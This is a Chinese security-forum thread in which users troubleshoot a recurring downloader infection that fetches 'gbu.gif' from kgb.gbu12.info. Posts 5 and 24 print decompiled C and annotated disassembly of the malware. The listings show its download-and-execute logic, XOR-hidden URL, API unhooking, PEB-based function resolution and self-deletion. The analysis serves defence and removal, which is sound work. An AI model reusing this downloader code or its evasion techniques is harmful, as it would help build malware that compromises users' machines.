能力值:
(RANK:280 )
2 楼
需要个原始样本, gbu.gif在360上也有人报,但也只有几句话
http://bbs.360safe.com/viewthread.php?tid=577022
个人感觉远程攻击的可能性不大,除非你是在用服务器,否则没道理谁整天会对着你的ip攻击
本机上可能有个隐藏的木马
能力值:
( LV2,RANK:10 )
3 楼
这个病毒很诡异,写这病毒的人功夫不是一般的深;
能力值:
(RANK:280 )
4 楼
不一定,网上找个现成的rootkit加个商业壳就可以藏起来了
能力值:
( LV8,RANK:130 )
5 楼
"http://kgb.gbu12.info/gbu.gif"中gbu.gif是一个Dll文件,AppDLL_101为导出函数,大概看了下,逆了一下代码,用GetProcess从WININET.dll获得几个网络函数下载文件,然后实现破坏。
int __cdecl AppDLL_101() { HMODULE v1; // eax@1 HMODULE hLibModule; // [sp+274h] [bp-4h]@1 CHAR ApplicationName; // [sp+0h] [bp-278h]@2 signed int v4; // [sp+164h] [bp-114h]@2 struct _STARTUPINFOA StartupInfo; // [sp+108h] [bp-170h]@6 struct _PROCESS_INFORMATION ProcessInformation; // [sp+154h] [bp-124h]@6 CHAR ExistingFileName; // [sp+168h] [bp-110h]@7 SetUnhandledExceptionFilter(unknown_libname_1); v1 = LoadLibraryA("WININET"); hLibModule = v1; if ( v1 ) { InternetOpenA = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD))GetProcAddress( hLibModule, "InternetOpenA"); InternetOpenUrlA = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))GetProcAddress( hLibModule, "InternetOpenUrlA"); InternetReadFile = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD))GetProcAddress(hLibModule, "InternetReadFile"); InternetCloseHandle = (int (__stdcall *)(_DWORD))GetProcAddress(hLibModule, "InternetCloseHandle"); GetTempPathA(0x104u, &ApplicationName); lstrcatA(&ApplicationName, "\\QQ_Update.cab"); v4 = 0; while ( v4 < 128 ) { byte_10003010[v4] = ~byte_10003010[v4]; ++v4; } while ( 1 ) { if ( NetDownFile((int)byte_10003010, &ApplicationName) ) { GetStartupInfoA(&StartupInfo); StartupInfo.dwFlags |= 0x80u; ReadSomeFile(); if ( CreateProcessA(&ApplicationName, 0, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation) ) break; } Sleep(0x15F90u); } FreeLibrary(hLibModule); GetTempPathA(0x104u, &ApplicationName); GetTempFileNameA(&ApplicationName, "qqs", 0, &ApplicationName); lstrcatA(&ApplicationName, "\\qqsF2A8.tmp"); GetModuleFileNameA(hModule, &ExistingFileName, 0x104u); MoveFileExA(&ExistingFileName, &ApplicationName, 0); MoveFileExA(&ApplicationName, 0, 4u); } return 0; }
int __stdcall NetDownFile(int a1, LPCSTR lpFileName) { int result; // eax@2 HANDLE v3; // eax@1 int v4; // eax@3 int v5; // eax@5 int v6; // eax@7 int v7; // [sp+4h] [bp-410h]@1 HANDLE hObject; // [sp+8h] [bp-40Ch]@1 int v9; // [sp+0h] [bp-414h]@3 int v10; // [sp+410h] [bp-4h]@5 char Buffer; // [sp+Ch] [bp-408h]@7 DWORD NumberOfBytesWritten; // [sp+40Ch] [bp-8h]@7 v7 = 0; v3 = CreateFileA(lpFileName, 0x40000000u, 0, 0, 2u, 0, 0); hObject = v3; if ( v3 == (HANDLE)-1 ) { result = 0; } else { v4 = InternetOpenA(0, 0, 0, 0, 0); v9 = v4; if ( v4 ) { v5 = InternetOpenUrlA(v9, a1, 0, 0, -2147483648, 0); v10 = v5; if ( v5 ) { while ( 1 ) { v6 = InternetReadFile(v10, &Buffer, 1024, &NumberOfBytesWritten); v7 = v6; if ( !v6 ) break; if ( !NumberOfBytesWritten ) break; WriteFile(hObject, &Buffer, NumberOfBytesWritten, &NumberOfBytesWritten, 0); } CloseHandle(hObject); InternetCloseHandle(v10); InternetCloseHandle(v9); result = v7; } else { InternetCloseHandle(v9); CloseHandle(hObject); DeleteFileA(lpFileName); result = v7; } } else { CloseHandle(hObject); DeleteFileA(lpFileName); result = v7; } } return result; }
int __cdecl ReadSomeFile() { int result; // eax@1 char *v1; // ecx@8 HMODULE v2; // [sp+134h] [bp-Ch]@1 CHAR FileName; // [sp+28h] [bp-118h]@1 HANDLE hFile; // [sp+13Ch] [bp-4h]@1 int v5; // [sp+138h] [bp-8h]@1 int v6; // [sp+20h] [bp-120h]@2 BOOL (__stdcall *v7)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION); // [sp+1Ch] [bp-124h]@2 signed int v8; // [sp+24h] [bp-11Ch]@2 void *lpAddress; // [sp+18h] [bp-128h]@8 LONG lDistanceToMove; // [sp+4h] [bp-13Ch]@8 char Buf2; // [sp+8h] [bp-138h]@8 DWORD flOldProtect; // [sp+0h] [bp-140h]@9 v2 = GetModuleHandleA("Kernel32"); GetSystemDirectoryA(&FileName, 0x104u); lstrcatA(&FileName, "\\Kernel32.dll"); result = ReadKernelFile((int)&FileName, &FileName, (int)&hFile); v5 = result; if ( result ) { v6 = 0; v7 = CreateProcessW; v8 = 0; while ( v8 < 256 ) { if ( *((_BYTE *)v7 + v8) == 232 ) { v6 = *(_DWORD *)((char *)v7 + v8 + 1); break; } ++v8; } if ( v8 != 256 ) { lpAddress = (char *)CreateProcessW + v8 + v6 + 5; v1 = (char *)((BOOL (__stdcall *)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION))((char *)CreateProcessW + v8 + v6 + 5) - (BOOL (__stdcall *)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION))v2); lDistanceToMove = (LONG)&v1[v5]; ReadSetFilePoint((DWORD)hFile, hFile, (LONG)&v1[v5], &Buf2, 0x10u); if ( memcmp(lpAddress, &Buf2, 0x10u) ) { if ( VirtualProtect(lpAddress, 0x10u, 4u, &flOldProtect) ) { memcpy(lpAddress, &Buf2, 0x10u); VirtualProtect(lpAddress, 0x10u, flOldProtect, &flOldProtect); } } } result = CloseHandle(hFile); } return result; }
能力值:
( LV2,RANK:10 )
6 楼
楼上的高明!!!!
能力值:
( LV2,RANK:10 )
7 楼
代码逆得这么工整,难道是乌龟大师的MJ
能力值:
(RANK:280 )
8 楼
看注册日期,他比我早很多很多,我只是新人
能力值:
(RANK:280 )
9 楼
楼主的问题关键应该是隐藏的downloader而不是被下载的文件,不过5楼的分析真有条理,膜拜
能力值:
( LV8,RANK:130 )
10 楼
乌龟大师大师过奖了,说的我脸红,我只是用了F5,还要向大师学习
能力值:
( LV2,RANK:10 )
11 楼
[QUOTE=;]...[/QUOTE]
是不是你的系统没有打补丁,被这个黑客溢出一回,又被另一个黑客溢出一回,所以就不定时的下载东西了
能力值:
( LV2,RANK:10 )
12 楼
C:\Documents and Settings\NetworkService\Local Settings\Temporary Internet Files\Content.IE5
这里的文件清空,然后关闭DNS Client服务,试试
HKLM\system\currentControlSet\services\HB... 这里有个hb打头的服务,连接hb*.sys
删除掉
用cureit扫描,可以删除很多dll,都是后门下载的
我也是同样的情况,不定时提示下载http://kgb.gbu12.info/gbu.gif
现在好像好了
弄不懂NetworkService\Local Settings\Temporary Internet Files\Content.IE5
具体是哪个服务下载的这些缓存文件,里面就有gbu.gif和update.gif
我猜想可能是ms08067漏洞利用svchost下载的
刚刚又发现了,还是没有消除
能力值:
( LV2,RANK:10 )
13 楼
我也是被这病毒折腾好多天了!
请问有没有根除方法??我已经在安全模式+断网替换了无毒的actxprxy.dll还是没有效果。。。
只要上网就会再次下载病毒啊!!!
各位大侠救救我啊!
能力值:
( LV2,RANK:10 )
14 楼
检查机器有无异常进程吧,这可能是virus.win32.downloader类型的病毒,通过远程下载者带来的,
在断网的情况下,用下载者专杀,清楚缓存,修复regedt32和IE,实在不行....Ghost
能力值:
( LV2,RANK:10 )
15 楼
这两天没有出现,怀疑是不是网络攻击,我的电脑是在局域网里的
楼上有直接宽带拨号上网的么?
能力值:
( LV2,RANK:10 )
16 楼
我是直接拨号宽带
能力值:
( LV2,RANK:10 )
17 楼
我用wsyscheck删除了它,然后安装norton,升级,次过程中不断用wsyscheck检测、卸载、删除。最后终于控制住它了
能力值:
( LV9,RANK:230 )
18 楼
没用的,它是不定时发作。而且是在确认控制系统后才会发作。
我感觉是木马,似乎是好多种木马互补,好难。断网杀毒容易些,但只能延缓发作的时间。
能力值:
( LV2,RANK:10 )
19 楼
本人不才,要是我就用IceSword去看一下进程中有没有可疑模块,hiden Process,然后去判断一下路径,试着suspend模块中的Thread,去路径看看,去VirusTotal去看看。也没什么高见。,帮顶一下
能力值:
( LV2,RANK:10 )
20 楼
蠕虫型木马,估计是最近那个火漏洞的利用者
能力值:
( LV2,RANK:10 )
21 楼
actxprxy.dll带arp欺骗的线程型穿透还原病毒
能力值:
( LV6,RANK:90 )
22 楼
它连接其他135端口的时候发送的时候抓个包看看呀
那个DLL好象只是做下载用的,它都要用PendingFileRenameOperations 来自我销毁了,没什么花头
能力值:
(RANK:10 )
23 楼
楼主先用SREngPS系统诊断工具先扫描一个系统日志出来,通过日志判断那些路径是可疑行为。
另外在用autorun可以判断隐藏的进程与映像劫持,包括驱动都一目了然出现你的面前
另外楼主刚才说了,如果连接网络,那个病毒才会触发,如果不连接网络,这个病毒就不会触发
一、不连接网络,这东西不会发作(废话)
而且楼主也判断 我把这个 gbu.gif 下载了下来,卡巴查杀显示: Trojan-Downloader.Win32.Murlo.nn
那么这是一驱动级个蠕虫病毒,伪造成图片模式,自动去连接网址感染系统,可能是利用系统漏洞或第三方软件漏洞,建议楼主用专业漏洞扫描仪进行系统进行扫描
还有MS-0867RPC远程执行漏洞 是需要三项服务支持 关于这方面解决方案 可以去绿盟科技官方网看看,那里有解决方案
你中的是驱动级蠕虫病毒 是利用你的系统漏洞或第三方软件漏洞进行的
因为驱动级病毒只要检测到I/O TCP/IP堆栈进行连接网络 就会自动下载病毒程序
杀毒软件只会查杀病毒文件 病毒源体并没有查杀掉 因为这病毒自我免疫能力非常强悍
哈哈 反正按照我方式解决 100%会成功
最简单方法,如果觉的麻烦,直接装系统 另外更改IP地址 IP地址与MAC地址绑定
更新安装系统漏洞和第三方软件漏洞 安装个人独立防火墙 和杀毒软件
那样就不会出现问题! 建议是低格式化(全盘)因为蠕虫病毒极有很强感染传播能力
对驱动也禁用播放功能!
能力值:
( LV6,RANK:90 )
24 楼
对楼主提供的文件跟了一下,果然和我上面判断的一样,就是个下载器,那个对135发数据包的部分不知道在哪里,比较感兴趣
根据楼主提供的2个文件的对比,得到被感染dll入口处给改写了一个E9跳转指令,而且原来很多为全00的段都被写进了数据,估计是一个把自己分段写入的病毒,就从加载处开始跟。
71CD2745 50 push eax
71CD2746 60 pushad
71CD2747 E9 9B000000 jmp 71CD27E7
71CD274C 8BFF mov edi, edi
71CD274E 55 push ebp
71CD274F 8BEC mov ebp, esp
71CD2751 53 push ebx
71CD2752 5F pop edi
71CD2753 57 push edi
71CD2754 8BDF mov ebx, edi
71CD2756 4B dec ebx
71CD2757 66:813B 4D5A cmp word ptr [ebx], 5A4D
71CD275C ^ 75 F8 jnz short 71CD2756
71CD275E 8BF3 mov esi, ebx
71CD2760 817B 3C 0001000>cmp dword ptr [ebx+3C], 100
71CD2767 ^ 77 ED ja short 71CD2756
71CD2769 0373 3C add esi, dword ptr [ebx+3C]
71CD276C 813E 50450000 cmp dword ptr [esi], 4550
71CD2772 ^ 75 E2 jnz short 71CD2756
71CD2774 E8 1E000000 call 71CD2797
71CD2779 EC in al, dx 看到5A4D 4550这种有个性的东西就知道是在找一个pe头,不过他没有执行,直接跳转到
71CD27E7 ,这里又call 71CD2752,然后pop edi,取得自己的位置,然后开始往上低位内存
方向搜索MZ头,搜索到后,接着一个短跳到
71CD2797 5A pop edx
71CD2798 B9 05000000 mov ecx, 5
71CD279D FC cld
71CD279E 833A 00 cmp dword ptr [edx], 0
71CD27A1 74 13 je short 71CD27B6
71CD27A3 53 push ebx
71CD27A4 5E pop esi
71CD27A5 0332 add esi, dword ptr [edx]
71CD27A7 83C2 04 add edx, 4
71CD27AA 51 push ecx
71CD27AB 0FB70A movzx ecx, word ptr [edx]
71CD27AE F3:A4 rep movs byte ptr es:[edi], byte ptr>
71CD27B0 59 pop ecx
71CD27B1 83C2 02 add edx, 2
71CD27B4 ^ E2 E8 loopd short 71CD279E
71CD27B6 58 pop eax
71CD27B7 53 push ebx
取得71CD2779地址到edx,估计这个位置是感染时写入的分段的偏移,长度之类的数据,现在病毒要开始恢复他们了,
偏移 dd 长度 dw ,每个单位6个字节,最长分5段,在我手上这个一共分了3段
把分散在各处的东西都集中到一起后,就跳过去开始运行了,看看下面熟悉的入口
71CD27EC 55 push ebp
71CD27ED 8BEC mov ebp, esp
71CD27EF 81EC 2C000000 sub esp, 2C
71CD27F5 8BF4 mov esi, esp
71CD27F7 64:A1 30000000 mov eax, dword ptr fs:[30]
71CD27FD 8B40 0C mov eax, dword ptr [eax+C]
71CD2800 8B40 0C mov eax, dword ptr [eax+C]
71CD2803 8B00 mov eax, dword ptr [eax]
71CD2805 8B58 18 mov ebx, dword ptr [eax+18]
开辟了2C个字节的临时变量,从fs:[30]处取得kernel32.dll的基址
然后通过实现保存的HASH值取得几个函数的地址。
再就是加载了urlmon.dll,然后取得UrldownloadtofileA
再创建了一个堆,复制了一些代码过去,然后指向堆中的代码开了一个线程,
而主线程则返回,并恢复了dll入口处的代码,就回去了。
再来看看新建的那个线程
00B50800 55 push ebp
00B50801 8BEC mov ebp, esp
00B50803 81C4 C0FEFFFF add esp, -140
00B50809 E8 00000000 call 00B5080E
00B5080E 5B pop ebx
00B5080F 81EB 6E114000 sub ebx, 40116E
00B50815 BA 12124000 mov edx, 401212 ; ASCII "0@"
00B5081A 03D3 add edx, ebx
00B5081C B9 20000000 mov ecx, 20
00B50821 51 push ecx
00B50822 8BF2 mov esi, edx
00B50824 8DBD C0FEFFFF lea edi, dword ptr [ebp-140]
00B5082A 57 push edi
00B5082B F3:A4 rep movs byte ptr es:[edi], byt>
00B5082D 5B pop ebx
00B5082E 59 pop ecx
00B5082F 4B dec ebx
00B50830 803419 BB xor byte ptr [ecx+ebx], 0BB
00B50834 ^ E2 FA loopd short 00B50830
00B50836 43 inc ebx
入口,得到自身偏移,然后对一个字符串进行xor,得到
0012F060 68 74 74 70 3A 2F 2F 6B 67 62 2E 67 62 75 31 32 http://kgb.gbu12
0012F070 2E 69 6E 66 6F 2F 67 62 75 2E 67 69 66 00 BB BB .info/gbu.gif.换
看来就是要下载的东西啦
接着
00B5084A 6A 00 push 0
00B5084C FF56 18 call dword ptr [esi+18] ;kernel32.Mutex
00B5084F 6A 00 push 0
00B50851 50 push eax
00B50852 FF56 20 call dword ptr [esi+20] ;kernel32.waitforsingleObject
00B50855 3D 02010000 cmp eax, 102
00B5085A 74 52 je short 00B508AE
00B5085C 68 C0270900 push 927C0
00B50861 FF56 1C call dword ptr [esi+1C] ; kernel32.Sleep
00B50864 8DBD 00FFFFFF lea edi, dword ptr [ebp-100]
00B5086A 57 push edi
这个就是下载后的地址
0012F028 43 3A 5C 44 4F 43 55 4D 45 7E 31 5C 41 44 4D 49 C:\DOCUME~1\ADMI
0012F038 4E 49 7E 31 5C 4C 4F 43 41 4C 53 7E 31 5C 54 65 NI~1\LOCALS~1\Te
0012F048 6D 70 5C 5C 77 6D 73 65 74 75 70 2E 64 6C 6C 00 mp\\wmsetup.dll.
00C8089B 57 push edi
00C8089C FF16 call dword ptr [esi] ;LoadLibrary
00C8089E 85C0 test eax, eax
00C808A0 74 0C je short 00C808AE
00C808A2 6A 65 push 65
00C808A4 50 push eax
00C808A5 FF56 04 call dword ptr [esi+4] ; kernel32.GetProcAddress
00C808A8 85C0 test eax, eax
00C808AA 74 02 je short 00C808AE
00C808AC FFD0 call eax
00C808AE C9 leave
00C808AF C2 0400 retn 4
最后就是把下载下来的文件,估计是个DLL哦,加载,并调用0x65号函数
能力值:
( LV9,RANK:250 )
25 楼
楼上分析很猛!